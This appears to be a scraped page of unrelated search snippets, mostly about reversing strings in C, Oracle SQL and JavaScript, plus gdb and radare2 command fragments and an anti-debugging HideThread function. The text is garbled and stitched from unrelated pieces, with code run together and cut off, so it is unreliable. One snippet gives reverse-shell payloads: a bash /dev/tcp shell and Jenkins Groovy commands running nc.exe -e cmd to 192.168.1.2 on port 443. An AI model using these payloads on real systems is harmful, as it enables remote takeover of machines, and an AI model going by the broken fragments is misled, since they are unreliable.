1.2 Implement a function void reverse(char* str) in C or C++ which reverses a nullterminated string. 最初思路:先遍历一遍获得长度len, 第二次遍历只要遍历一半长度,将索引 k 位置元素与 len-1-k 位置元素互换 voidreverse(char*str) {intlen = 0, i, k;//first traversal get lengthfor(i = 0;...
...REVERSE is an undocumented Oracle string function, which returns the input string in its reverse order...SQL> select reverse('12345') from dual; REVER --- 54321 REVERSE函数是将数字的顺序逆序打印。...--- nls_language string AMERICAN 登录到笔记本的PLSQL中, 88740 Django(8)reverse函数「建...
functionunique(arr) { varnewArr = []; for(vari =0; i < arr.length; i++) { if(newArr.indexOf(arr[i]) === -1) { newArr.push(arr[i]); } } returnnewArr; } // var demo = unique(['c', 'a', 'z', 'a', 'x', 'a', 'x', 'c', 'b']) vardemo =unique(['blu...
Currently tracking 1092326991 bots worldwide Breakpoint 1, 0x0804865c in decrypt () (gdb) n # n 单步步入 Single stepping until exit from function decrypt, which has no line number information. 0x08048725 in authenticate () (gdb) x/5sw $eax # x就是查看内存内容 5表示查看的单元个数 s是...
(Make a function fun (char s). The function of the function is to reverse the contents of the string.) 编一个函数fun(char s),函数的功能是把字符串中的内容逆置。(Make a function fun (char s). The function of the function is to reverse the contents of the string.) It is only ...
function reverse(arr) { // if (arr instanceof Array) { if (Array.isArray(arr)) { var newArr = []; for (var i = arr.length - 1; i >= 0; i--) { newArr[newArr.length] = arr[i]; } return newArr; } else { return 'error 这个参数要求必须是数组格式 [1,2,3]' ...
function onstart(){ exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'"); }JenkinsJenkins WindowsNetcat (Method 1)cmd = "\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443" cmd.execute().textNetcat (Method 2)println "\\\192.168.1.2\\a\\nc.exe -e cmd 192.168...
32#print 32 byte hexdump current block>s sym.main#seek to main (using flag name)>f~foo#filter flags matching 'foo' (internal |grep)>iS;is#list sections and symbols (rabin2 -Ss)>pdf;agf#disassembly and ascii-art function graph>oo+;w hello#reopen in read-write and write a string>?
scripting vulnerabilities. This is especially important when rewrite rule uses un-trusted data, such as HTTP headers or the query string, to build the string that will be inserted into the HTTP response. In such cases the replacement string should be HTML encoded by using t...
Here is the HideThread function:// HideThread will attempt to use // NtSetInformationThread to hide a thread // from the debugger, Passing NULL for // hThread will cause the function to hide the thread // the function is running in. Also, the function returns // false on failure and...